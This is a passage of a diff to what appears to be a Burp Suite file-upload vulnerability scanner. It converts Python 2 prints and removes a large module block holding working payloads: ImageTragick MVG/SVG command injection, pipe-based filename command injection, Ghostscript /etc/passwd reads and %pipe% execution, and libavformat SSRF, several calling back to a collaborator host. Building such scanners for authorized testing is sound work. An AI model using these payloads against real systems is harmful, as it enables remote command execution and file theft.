issue.name - #print issue.toString() + print("Reporting", issue.name) + #print(issue.toString()) self._callbacks.addScanIssue(issue) # implement IScannerCheck @@ -988,15 +574,15 @@ def doActiveScan(self, base_request_response, insertionPoint, options=None): if insertionPoint.getInsertionPointName() == "filename": req = base_request_response.getRequest() if not req: - print "doActiveScan called with BaseRequestResponse with no request. Ignoring." + print("doActiveScan called with BaseRequestResponse with no request. Ignoring.") return - print "Multipart filename found!" + print("Multipart filename found!") if not options: - options = self._global_opts - injector = MultipartInjector(base_request_response, options, insertionPoint, self._helpers, BurpExtender.NEWLINE) + options = self._globalOptionsPanel + injector = MultipartInjector(base_request_response, options, insertionPoint, self._helpers, Constants.NEWLINE) self.do_checks(injector) else: - print "This is not a type file but something else in a multipart message:", insertionPoint.getInsertionPointName() + print("This is not a type file but something else in a multipart message:", insertionPoint.getInsertionPointName()) except: self.show_error_popup(traceback.format_exc(), "doActiveScan", base_request_response) if options and options.redl_enabled: @@ -1013,36 +599,36 @@ def getInsertionPoints(self, base_request_response): # this is an ugly hack... req = base_request_response.getRequest() if not req: - # print "getInsertionPoints was called with a BaseRequestResponse where the Request was None/null..." + # print("getInsertionPoints was called with a BaseRequestResponse where the Request was None/null...") return if "content-type: multipart/form-data" in FloydsHelpers.jb2ps(req).lower(): - print "It seems to be a mutlipart/form-data we don't need to check with the FlexiInjector" + print("It seems to be a mutlipart/form-data we don't need to check with the FlexiInjector") else: self.run_flexiinjector(base_request_response) # Now after the above hack, do what this function actually does, return insertion points - if self._global_opts.modules['activescan'].isSelected(): - return InsertionPointProviderForActiveScan(self, self._global_opts, self._helpers).getInsertionPoints(base_request_response) + if self._globalOptionsPanel.modules['activescan'].isSelected(): + return InsertionPointProviderForActiveScan(self, self._globalOptionsPanel, self._helpers).getInsertionPoints(base_request_response) else: return [] except: - self.show_error_popup(traceback.format_exc(), "BurpExtender.getInsertionPoints", base_request_response) + self.show_error_popup(traceback.format_exc(), "Constants.getInsertionPoints", base_request_response) raise sys.exc_info()[1], None, sys.exc_info()[2] def run_flexiinjector(self, base_request_response, options=None): fi = None if not options: - options = self._global_opts + options = self._globalOptionsPanel try: if options.fi_ofilename: - fi = FlexiInjector(base_request_response, options, self._helpers, BurpExtender.NEWLINE) + fi = FlexiInjector(base_request_response, options, self._helpers, Constants.NEWLINE) # We test only those requests where we find at least the content in the request as some implementations # might not send the filename to the server if fi.get_uploaded_content(): - print "FlexiInjector insertion point found!" + print("FlexiInjector insertion point found!") self.do_checks(fi) return True elif not self._warned_flexiinjector: - print "You did not specify the file you are going to upload, no FlexiInjector checks will be done" + print("You did not specify the file you are going to upload, no FlexiInjector checks will be done") self._warned_flexiinjector = True except: self.show_error_popup(traceback.format_exc(), "run_flexiinjector", base_request_response) @@ -1053,8615 +639,4 @@ def run_flexiinjector(self, base_request_response, options=None): # The actual implementation of the scan logic from here def do_checks(self, injector): - burp_colab = BurpCollaborator(self._callbacks) - if not burp_colab.is_available: - burp_colab = None - print "Warning: No Burp Collaborator will be used" - colab_tests = [] - - # We need to make sure that the global download matchers are from now on active for the URL we scan - url = FloydsHelpers.u2s(self._helpers.analyzeRequest(injector.get_brr()).getUrl().toString()) - self.dl_matchers.add_collection(url) - - scan_was_stopped = False - - try: - # Sanity/debug check. Simply uploads a white picture called screenshot_white.png - print "Doing sanity check and uploading a white png file called screenshot_white.png" - self._sanity_check(injector) - # Make sure we don't active scan again a request we are active scanning right now - # Do this by checking for redl_enabled - if injector.opts.modules['activescan'].isSelected() and injector.opts.redl_enabled: - brr = injector.get_brr() - service = brr.getHttpService() - self._callbacks.doActiveScan(service.getHost(), service.getPort(), 'https' in service.getProtocol(), brr.getRequest()) - # Imagetragick - CVE based and fixed, will deprecate at one point - if injector.opts.modules['imagetragick'].isSelected(): - print "\nDoing ImageTragick checks" - colab_tests.extend(self._imagetragick_cve_2016_3718(injector, burp_colab)) - colab_tests.extend(self._imagetragick_cve_2016_3714_rce(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - self._imagetragick_cve_2016_3714_sleep(injector) - self._bad_manners_cve_2018_16323(injector) - # Magick (ImageMagick and GraphicsMagick) - generic, as these are exploiting features - if injector.opts.modules['magick'].isSelected(): - print "\nDoing Image-/GraphicsMagick checks" - colab_tests.extend(self._magick(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # Ghostscript - CVE based and fixed, will deprecate at one point - if injector.opts.modules['gs'].isSelected(): - print "\nDoing Ghostscript checks" - colab_tests.extend(self._ghostscript(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # LibAVFormat - generic, as the file format will always support external URLs - if injector.opts.modules['libavformat'].isSelected(): - print "\nDoing LibAVFormat checks" - colab_tests.extend(self._libavformat(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # PHP RCEs - generic, as there will always be someone who screws up PHP: - if injector.opts.modules['php'].isSelected(): - print "\nDoing PHP code checks" - self._php_rce(injector) - # JSP RCEs - generic, as there will always be someone who screws up JSP: - if injector.opts.modules['jsp'].isSelected(): - print "\nDoing JSP code checks" - self._jsp_rce(injector) - # ASP RCEs - generic, as there will always be someone who screws up ASP: - if injector.opts.modules['asp'].isSelected(): - print "\nDoing ASP code checks" - self._asp_rce(injector) - # htaccess - generic - # we do the htaccess upload early, because if it enables "Options +Includes ..." by uploading a .htaccess - # then we can successfully do Server Side Includes, CGI execution, etc. in a later module... - if injector.opts.modules['htaccess'].isSelected(): - print "\nDoing htaccess/web.config checks" - colab_tests.extend(self._htaccess(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # CGIs - generic - if injector.opts.modules['cgi'].isSelected(): - print "\nDoing CGIs checks" - colab_tests.extend(self._cgi(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # SSI - generic - if injector.opts.modules['ssi'].isSelected(): - print "\nDoing SSI/ESI checks" - colab_tests.extend(self._ssi(injector, burp_colab)) - colab_tests.extend(self._esi(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # XXE - generic - if injector.opts.modules['xxe'].isSelected(): - print "\nDoing XXE checks" - colab_tests.extend(self._xxe_svg_external_image(injector, burp_colab)) - colab_tests.extend(self._xxe_svg_external_java_archive(injector, burp_colab)) - colab_tests.extend(self._xxe_xml(injector, burp_colab)) - colab_tests.extend(self._xxe_office(injector, burp_colab)) - colab_tests.extend(self._xxe_xmp(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # XSS - generic - if injector.opts.modules['xss'].isSelected(): - print "\nDoing XSS checks" - self._xss_html(injector) - self._xss_svg(injector) - self._xss_swf(injector) - self._xss_backdoored_file(injector) - # eicar - generic - if injector.opts.modules['eicar'].isSelected(): - print "\nDoing eicar checks" - self._eicar(injector) - # pdf - generic - if injector.opts.modules['pdf'].isSelected(): - print "\nDoing pdf checks" - colab_tests.extend(self._pdf(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # other ssrf - generic - if injector.opts.modules['ssrf'].isSelected(): - print "\nDoing other SSRF checks" - colab_tests.extend(self._ssrf(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # CSV/spreadsheet - generic - if injector.opts.modules['csv_spreadsheet'].isSelected(): - print "\nDoing CSV/spreadsheet checks" - colab_tests.extend(self._csv_spreadsheet(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # path traversal - generic - if injector.opts.modules['path_traversal'].isSelected(): - print "\nDoing path traversal checks" - self._path_traversal_archives(injector) - # Polyglot - generic - if injector.opts.modules['polyglot'].isSelected(): - print "\nDoing polyglot checks" - colab_tests.extend(self._polyglot(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # Fingerping - generic - if injector.opts.modules['fingerping'].isSelected(): - print "\nDoing fingerping checks" - self._fingerping(injector) - - # TODO feature: "Analyzer module" - # new module that uploads a png, a jpeg, a gif, etc. and checks in the downloaded - # content which byte sequences of a certain length (eg. 6) survived transformation on the server - # basically we could use something like python's SequenceMatcher to check where the files match... - # Additionally, make the module analyze certain things such as "if we upload a PNG, is the - # returned content-type in the redownloader a PNG?" with other types as well - # What would also be a nice feature is to upload a PNG and download it again. Then use that PNG - # as a starting point for attacks as we can be sure that is a valid one. - - # Upload quirks - generic - if injector.opts.modules['quirks'].isSelected(): - print "\nDoing quirk checks" - self._quirks_with_passive(injector) - self._quirks_without_passive(injector) - # Generic URL replacer module - obviously generic - if injector.opts.modules['url_replacer'].isSelected(): - print "\nDoing generic URL replacement checks" - colab_tests.extend(self._generic_url_replacer(injector, burp_colab)) - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - # Recursive uploader - generic - if injector.opts.modules['recursive_uploader'].isSelected(): - print "\nDoing recursive upload checks" - self._recursive_upload_files(injector, burp_colab) - # Fuzz - generic - if injector.opts.modules['fuzzer'].isSelected(): - print "\nDoing fuzzer checks" - self._fuzz(injector) - except StopScanException: - scan_was_stopped = True - - # Just to make sure (maybe we write a new module above and forget this call): - self.collab_monitor_thread.add_or_update(burp_colab, colab_tests) - - # DoSing the server is best done at the end when we already know about everything else... - # Timeout and DoS - generic - if not scan_was_stopped: - try: - if injector.opts.modules['dos'].isSelected(): - print "\nDoing timeout and DoS checks" - self._timeout_and_dos(injector) - except StopScanException: - pass - if injector.opts.redl_enabled: - injector.opts.scan_was_stopped() - print "\nFinished" - - # Module functions - def _sanity_check(self, injector): - content = "eJzrDPBz5+WS4mJgYOD19HAJAtIrgXgmBxuQDFkv1cTAwFiT6ewc4OnsrBBQlJ+WmZPKwKAxMTkhQctTR+NEYmJCwomz2ppcRe" \ - "VBHR09QQn7Dx84e+CwwpGEowrzZsTEPJAQeHC4Qbhm97EDHIv0Xzed8fr8p/Lysq01/8TM1s8sClO12vG1kbHcK6vQiJlZmX3C" \ - "3DlBc+ZwpzxnuGl1ktVV1eEbj0L09j1LGI7YMaZ0izDKcqTcZ9x4WfENv0KZ0IyzR5jChIWe8KR4M9xk8hTYxtYxly8xuuHGSc" \ - "lOTYdt7Cf0OqQPNFw+7HrwzoGg6xMbdnuy7bRcamDtsPDo5FniUjxF7AKnDSoMdhhoGMwwljCIMHphZDFtSdiUBhGr5+IhYqnL" \ - "0qdoWDA5m4UetLTfvmCLylYP94PG+pH+7gdPHLjAsIRPJF1gsT17o2+6iHW/wOn4EwcSVp45cOBOs4D3rGMHNtTyMzcf0WyZcc" \ - "qGja0um60t9zmXULfQQ770P8ecOuLnpOWwJH62MDTYcO/3//+bpZiZf6uwte0X/v///94X///v7278xvz4jQMfg0p55oOebCF+" \ - "YDzMzQyJKInw9bFKzs/VS0zJT0rVq8gtYAABmworIDM3tSRRoSI3J6/YqsJWCazCCsgGCesrKYCVlGTbKkX4Big45xelKpjqme" \ - "gZKNlxKSgo2BSlpFkFubhBtQN5tkoZJSUFVvr65eXleuXGevlF6fqGlpaW+gZG+kZGukAVusWVeSWJFbp5xcoQQ2DmuKQWJxdl" \ - "FpRk5ucpgPiJSfmlJbZKSlA1EACxKLUiE2FTXjHUW0AP6oNk9A31DPThZoOMB4laBWRWpOZEuGTmpuYVA+2wMzSztNHHKoNVZy" \ - "SSTlNjZJ2RGDpt9NE8BAktfWhw2XHZ6MOD3o7rEqOIDwMD02NPF8eQCsa3lw7yMijwHDFI+D+XO6nL5g6n38rve6L9Ggsahe+l" \ - "zWLaz7BE4Qm3w6z6iY0TjCboM2T+c2VzOuWwj2HJT3FJDk3mn0wTnsWnKCzhGVU0qmiQKRJ/tZNVr/U4hzKo9PF09XNZ55TQBA" \ - "B94FvQ".decode("base64").decode("zlib") - types = [('', '.png', 'image/png')] - self._send_simple(injector, types, "SanityCheck", content, redownload=False, randomize=False) - - def _imagetragick_cve_2016_3718(self, injector, burp_colab): - colab_tests = [] - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return colab_tests - if injector.opts.file_formats['mvg'].isSelected(): - # burp collaborator based CVE-2016-3718 - basename = self.FILE_START + "Im18Colab" - # tested to work on vulnerable ImageMagick: - content_mvg = "push graphic-context\n" \ - "viewbox 0 0 {} {}\n" \ - "fill 'url({})'\n" \ - "pop graphic-context".format(injector.opts.image_width, injector.opts.image_height, BurpExtender.MARKER_COLLAB_URL) - - name = "Imagetragick CVE-2016-3718" - severity = "Medium" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading an MVG imagetragick CVE-2016-3718 payload " \ - "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \ - "Check https://imagetragick.com/ for more details about CVE-2016-3718. Interactions for CVE-2016-3718:

" - issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_MVG_TYPES, basename, content_mvg, issue)) - return colab_tests - - def _imagetragick_cve_2016_3714_sleep(self, injector): - # time based (sleep) CVE-2016-3714 - name = "Imagetragick CVE-2016-3714 (sleep based)" - severity = "High" - confidence = "Certain" - detail = "A timeout was reliably detected twice when uploading an {} image with an imagetragick payload that " \ - "executes the {} command to delay the response delivery. Therefore arbitrary command execution seems possible. " \ - "Check https://imagetragick.com/ for more details, also check for CVE-2016-3717 manually." - svg = ' ' \ - '' - mvg = "push graphic-context\n" \ - "viewbox 0 0 {} {}\n" \ - "fill 'url(" + BurpExtender.MARKER_CACHE_DEFEAT_URL + "\";{} {}\"{})'\n" \ - "pop graphic-context" - filename = self.FILE_START + "ImDelay" - - for cmd_name, cmd, factor, args in self._get_sleep_commands(injector): - if injector.opts.file_formats['mvg'].isSelected(): - issue = self._create_issue_template(injector.get_brr(), name, detail.format("MVG", cmd), confidence, severity) - content_mvg = mvg.format(injector.opts.image_width, injector.opts.image_height, cmd, injector.opts.sleep_time * factor, args) - self._send_sleep_based(injector, filename + "Mvg" + cmd_name, content_mvg, self.IM_MVG_TYPES, injector.opts.sleep_time, issue) - if injector.opts.file_formats['svg'].isSelected(): - issue = self._create_issue_template(injector.get_brr(), name, detail.format("SVG", cmd), confidence, severity) - content_svg = svg.format(injector.opts.image_width, injector.opts.image_height, cmd, injector.opts.sleep_time * factor, args, injector.opts.image_height, injector.opts.image_width) - self._send_sleep_based(injector, filename + "Svg" + cmd_name, content_svg, self.IM_SVG_TYPES, injector.opts.sleep_time, issue) - - return [] - - def _bad_manners_cve_2018_16323(self, injector): - if not injector.opts.redl_enabled or not injector.opts.redl_configured: - # this module can only find leaks in images when the files are downloaded again - return - # CVE-2018-16323, see https://github.com/ttffdd/XBadManners - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "BadManners" - content = Xbm("".join(random.sample(string.ascii_letters, 5))).create_xbm(injector.opts.image_width, - injector.opts.image_height) - urrs = self._send_simple(injector, self.XBM_TYPES, basename, content, redownload=True) - for urr in urrs: - if urr and urr.download_rr: - resp = urr.download_rr.getResponse() - if resp: - resp = FloydsHelpers.jb2ps(resp) - i_response_info = self._helpers.analyzeResponse(urr.download_rr.getResponse()) - body_offset = i_response_info.getBodyOffset() - body = resp[body_offset:] - picture_width, picture_height, fileformat = ImageHelpers.image_width_height(body) - if picture_width and picture_height and fileformat: - has_been_resized = False - if picture_width >= 200 or picture_height >= 200: - # We first resize the picture to a small one so we don't have to check - # too many pixels (performance)... - thumbnail = ImageHelpers.rescale_image(200, 200, body) - if thumbnail: # only if body was an image that ImageIO can parse - # Now get the pixels of the picture - body = thumbnail - has_been_resized = True - picture_width = 200 - picture_height = 200 - rgbs = ImageHelpers.get_image_rgb_list(body) - # As we send a first byte that is not white, - # let's ignore the first few pixels... (that's what a non-vulnerable imagemagick turns black) - for i in range(0, picture_width/4): - rgbs[i] = -1 - body = ImageHelpers.get_image_from_rgb_list(picture_width, picture_height, fileformat, rgbs) - white = rgbs.count(-1) - # When doing "convert in.xbm out.png", the resulting PNG has only -16777216 as black... - black = 0 - black_rgb_values = [-16777216] - # But with "convert in.xbm -size widthxheight out.jpeg", the resulting JPEG has as well others - # which are black pixels turned into gray values - # so this is not super accurate, but it doesn't matter too much, because the real false positive - # will be decided with is_grayscale - black_rgb_values.extend([-263173, -197380, -131587, -65794, -131587, -12434878, -657931, - -855310, -394759, -592138, -526345, -328966, -986896, -460552]) - for value in black_rgb_values: - black += rgbs.count(value) - other = len(rgbs) - white - black - examples = [x for x in rgbs if x != -1 and x not in black_rgb_values] - other_examples = set(examples[:50]) - if white < picture_width * picture_height: - # We uploaded a white picture, but we got something with not only white pixels - if ImageHelpers.is_grayscale(body): - # When it was resized, and it is only grayscale, then this could really be a true positive - # Black pixels often go gray when an image is resized (on the server side or here what we - # just did for performance reason) to a smaller size - name = "Bad Manners (CVE-2018-16323)" - severity = "High" - if other > 0: - confidence = "Tentative" - else: - confidence = "Firm" - detail = "The server might use a vulnerable version of Imagemagick. It is vulnerable to " \ - "CVE-2018-16323, see https://github.com/ttffdd/XBadManners. We uploaded a " \ - "fully white XBM file format picture (black and white format) with a known memory " \ - "disclosure payload and the server sent back an image that has not only white pixels. " \ - "This could also just mean that the server adds other colors to our picture, which is " \ - "countered by checking that the image is only grayscale. The image returned was only " \ - "grayscale. However, if the server modifies white picture to include gray or black " \ - "pixels this could still be a false positive. Please verify manually.
" \ - "Number of white pixels: {}
" \ - "Number of black/gray pixels (estimation): {}
" \ - "Number of other pixels (estimation): {}
" \ - "First 50 other pixel RGB integer values:
" \ - "{}".format(white, black, other, other_examples) - issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity) - issue.httpMessagesPy = [urr.upload_rr, urr.download_rr] - self._add_scan_issue(issue) - #else: - #print "Although we uploaded a white XBM picture, the server returned a non-grayscale picture..." - - def _imagetragick_cve_2016_3714_rce(self, injector, burp_colab): - colab_tests = [] - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return colab_tests - - # burp collaborator based CVE-2016-3714 - name = "Imagetragick CVE-2016-3714 (collaborator based)" - severity = "High" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading a {} imagetragick CVE-2016-3714 payload " \ - "which contains a burp colaborator payload as a {} command. Therefore arbitrary command execution seems possible. " \ - "Check https://imagetragick.com/ for more details about CVE-2016-3714. Interactions for CVE-2016-3718:

" - - svg = ' ' \ - '' - mvg = "push graphic-context\n" \ - "viewbox 0 0 {} {}\n" \ - "fill 'url(" + BurpExtender.MARKER_CACHE_DEFEAT_URL + "\";{} \"{})'\n" \ - "pop graphic-context" - - basename = self.FILE_START + "Im3714" - - for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab): - if injector.opts.file_formats['mvg'].isSelected(): - issue = self._create_issue_template(injector.get_brr(), name, detail.format("MVG", cmd), confidence, severity) - content_mvg = mvg.format(injector.opts.image_width, injector.opts.image_height, cmd, server) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_MVG_TYPES, basename + "Mvg" + cmd_name, - content_mvg, issue, replace=replace)) - - if injector.opts.file_formats['svg'].isSelected(): - issue = self._create_issue_template(injector.get_brr(), name, detail.format("SVG", cmd), confidence, severity) - content_svg = svg.format(injector.opts.image_width, injector.opts.image_height, cmd, server, - injector.opts.image_height, injector.opts.image_width) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.IM_SVG_TYPES, basename + "Svg" + cmd_name, - content_svg, issue, replace=replace)) - - return colab_tests - - def _magick(self, injector, burp_colab): - colabs = [] - # burp collaborator based passing a filename starting with - # pipe | makes Image-/GraphicsMagick execute to the -write command - # As described on https://hackerone.com/reports/212696 - types = [('', BurpExtender.MARKER_ORIG_EXT, '')] - content = injector.get_uploaded_content() - name = "Image-/GraphicsMagick filename RCE" - severity = "High" - confidence = "Certain" - base_details = "The manual for GrapicksMagick on http://www.graphicsmagick.org/GraphicsMagick.html specifies:
" \ - "-write <filename>
" \ - "[...]
" \ - "Precede the image file name with | to pipe to a system command.

" \ - "Check https://hackerone.com/reports/212696 for more details. " - detail_colab = "A Burp Colaborator interaction was detected when uploading a filename using a pipe character or similar " \ - "which included a {} payload with a burp colaborator URL. This means that Remote Command Execution should be possible. " \ - "The payload template was {} . Interactions:

" - detail_sleep = "A delay in the response time was detected twice when uploading a filename using a pipe character or similar " \ - "which included a {} payload. This means that Remote Command Execution should be possible. " \ - "The payload template was {} . " - - # Sleep based - for cmd_name, cmd, factor, args in self._get_sleep_commands(injector): - basenames = [ "|{} {}{}|a".format(cmd, injector.opts.sleep_time * factor, args), - #"|{}%20{}{}|a".format(cmd.replace(" ", "%20"), injector.opts.sleep_time * factor, args.replace(" ", "%20")), - "|" + cmd.replace(" ", "${IFS}") + "${IFS}" + str(injector.opts.sleep_time * factor) + args.replace(" ", "%20") + "|a", - "1%20-write%20|{}%20{}{}|a".format(cmd.replace(" ", "%20"), injector.opts.sleep_time * factor, args.replace(" ", "%20")), - "1${IFS}-write${IFS}|" + cmd.replace(" ", "${IFS}") + "${IFS}" + str(injector.opts.sleep_time * factor) + args.replace(" ", "${IFS}") + "|a", - ] - for basename in basenames: - details = base_details + detail_sleep.format(cmd_name, basename) - issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity) - self._send_sleep_based(injector, basename, content, types, injector.opts.sleep_time, issue) - - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return colabs - - # Colab based - for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab): - basenames = [ "|{} {}|a".format(cmd, server), - #"|{}%20{}|a".format(cmd.replace(" ", "%20"), server), - "|" + cmd.replace(" ", "${IFS}") + "${IFS}" + server + "|a", - "1%20-write%20|{}%20{}|a".format(cmd.replace(" ", "%20"), server), - "1${IFS}-write${IFS}|" + cmd + "${IFS}" + server + "|a", - ] - for basename in basenames: - details = base_details + detail_colab.format(cmd_name, basename) - issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity) - # print "Sending basename, replace", repr(basename), repr(replace) - colabs.extend(self._send_collaborator(injector, burp_colab, types, basename, content, issue, replace=replace)) - - return colabs - - def _ghostscript(self, injector, burp_colab): - - # CVE-2016-7977 - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "GsLibPasswd" - content = """%!PS -/Size 20 def % font/line size -/Line 0 def % current line -/Buf 1024 string def % line buffer -/Path 0 newpath def -> -/Courier-Bold findfont Size scalefont setfont -1 1 1 setrgbcolor clippath fill % draw white background -0 0 0 setrgbcolor % set black foreground -> -(/etc/passwd) .libfile { - { - dup Buf readline - { - Path Line moveto show - }{ - showpage - quit - } ifelse - % next line - /Line Line Size add def - } loop -} if""" - # As we do not want to regex search with a DownloadMatcher (too error prone), we only check if a ReDownloader - # was configured and we know the response - urrs = self._send_simple(injector, self.GS_TYPES, basename, content, redownload=True) - for urr in urrs: - if urr and urr.download_rr: - resp = urr.download_rr.getResponse() - if resp: - resp = FloydsHelpers.jb2ps(resp) - if BurpExtender.REGEX_PASSWD.match(resp): - name = "Ghostscript Local File Include" - severity = "High" - confidence = "Firm" - - detail = "A passwd-like response was downloaded when uploading a ghostscript file with a payload that " \ - "tries to include /etc/passwd. Therefore arbitrary file read seems possible. " \ - "See http://www.openwall.com/lists/oss-security/2016/09/30/8 for details. " \ - "Interactions:

" - issue = self._create_issue_template(injector.get_brr(), name + " CVE-2016-7977", detail, confidence, severity) - issue.httpMessagesPy = [urr.upload_rr, urr.download_rr] - self._add_scan_issue(issue) - - # CVE-2016-7976 with OutputICCProfile pipe technique - # CVE-2017-8291 with OutputFile pipe technique - # TODO feature: look at ghostbutt.com and metasploit implementation and see how they are doing it - name = "Ghostscript RCE" - severity = "High" - confidence = "Certain" - base_detail = "A ghostscript file with RCE payload was uploaded. See " \ - "http://www.openwall.com/lists/oss-security/2016/09/30/8 and http://cve.circl.lu/cve/CVE-2017-8291 " \ - "and http://openwall.com/lists/oss-security/2018/08/21/2 for details. " - detail_sleep = "A delay was dectected twice when uploading a ghostscript file with a payload that " \ - "executes a sleep like command. Therefore arbitrary command execution seems possible. " \ - "The payload used the {} argument ({}) and the payload {}." - detail_colab = "A burp collaborator interaction was dectected when uploading a ghostscript file with a payload that " \ - "executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. " \ - "The payload used the {} argument ({}) and the payload {}. Interactions:

" - basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Gs" - - content_original_cve = "%!PS\n" \ - "currentdevice null true mark /{} (%pipe%{} {} )\n" \ - ".putdeviceparams\n" \ - "quit" - - content_2 = "%!PS\n" \ - "*legal*\n" \ - "*{{ null restore }} stopped {{ pop }} if*\n" \ - "*legal*\n" \ - "*mark /{} (%pipe%{} {}) currentdevice putdeviceprops*\n" \ - "*showpage*" - - content_ubuntu = "%!PS\n" \ - "userdict /setpagedevice undef\n" \ - "save\n" \ - "legal\n" \ - "{{ null restore }} stopped {{ pop }} if\n" \ - "{{ legal }} stopped {{ pop }} if\n" \ - "restore\n" \ - "mark /{} (%pipe%{} {}) currentdevice putdeviceprops" - - content_centos = "%!PS\n" \ - "userdict /setpagedevice undef\n" \ - "legal\n" \ - "{{ null restore }} stopped {{ pop }} if\n" \ - "legal\n" \ - "mark /{} (%pipe%{} {}) currentdevice putdeviceprops" - - techniques = ( - ("OutputFile", "CVE-2017-8291", content_original_cve), - ("OutputICCProfile", "CVE-2016-7976", content_original_cve), - - ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2), - #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2), - - # OutputFile worked on a Linux minti 4.8.0-53-generic #56~16.04.1-Ubuntu SMP Tue May 16 01:18:56 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux - # With "identify" and "convert" from ImageMagick 6.8.9-9 Q16 x86_64 2017-03-14 - # But OutputICCProfile didn't: - # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0 - # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile - # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0 - # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile - ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu), - #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu), - - ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos), - #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos), - ) - - # Sleep based - for cmd_name, cmd, factor, args in self._get_sleep_commands(injector): - for param, reference, content in techniques: - details = base_detail + detail_sleep.format(param, reference, cmd) - issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity) - sleep_content = content.format( - #injector.opts.image_width, - #injector.opts.image_height, - param, - cmd, - str(injector.opts.sleep_time * factor) + args - ) - self._send_sleep_based(injector, basename + cmd_name, sleep_content, self.GS_TYPES, injector.opts.sleep_time, issue) - - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return [] - colab_tests = [] - - # Colab based - for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab): - for param, reference, content in techniques: - details = base_detail + detail_colab.format(param, reference, cmd) - issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity) - attack = content.format( - #injector.opts.image_width, - #injector.opts.image_height, - param, - cmd, - server - ) - colab_tests.extend(self._send_collaborator(injector, burp_colab, self.GS_TYPES, basename + param + cmd_name, - attack, issue, replace=replace, redownload=True)) - - return colab_tests - - def _libavformat(self, injector, burp_colab): - # TODO: Implement .qlt files maybe? https://www.gnucitizen.org/blog/backdooring-mp3-files/ - # Burp community edition doesn't have Burp collaborator - if not burp_colab: - return [] - - # burp collaborator based as described on https://hackerone.com/reports/115857 - basename = self.FILE_START + "AvColab" - content_m3u8 = "#EXTM3U\r\n#EXT-X-MEDIA-SEQUENCE:0\r\n#EXTINF:10.0,\r\n{}example.mp4\r\n##prevent cache: {}\r\n#EXT-X-ENDLIST".format(BurpExtender.MARKER_COLLAB_URL, str(random.random())) - - name = "LibAvFormat SSRF" - severity = "High" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading an libavformat m3u8 payload " \ - "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \ - "Check https://hackerone.com/reports/115857 for more details. Also check manually if the website is not vulnerable to " \ - "local file include. Interactions:

" - issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity) - - colabs = self._send_collaborator(injector, burp_colab, self.AV_TYPES, - basename + "M3u", content_m3u8, issue) - - # avi file with m3u as described on https://hackerone.com/reports/226756 - # https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2239eb85ba_0_20 - # and https://github.com/neex/ffmpeg-avi-m3u-xbin - avi_generator = AviM3uXbin() - - name = "LibAvFormat SSRF" - severity = "High" - confidence = "Certain" - detail = "A Burp Colaborator interaction was detected when uploading an libavformat m3u8 payload inside an AVI file " \ - "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \ - "Check https://hackerone.com/reports/226756 and https://github.com/neex/ffmpeg-avi-m3u-xbin for more details. " \ - "Usually this means it is vulnerable to local file inclusion. Interactions:

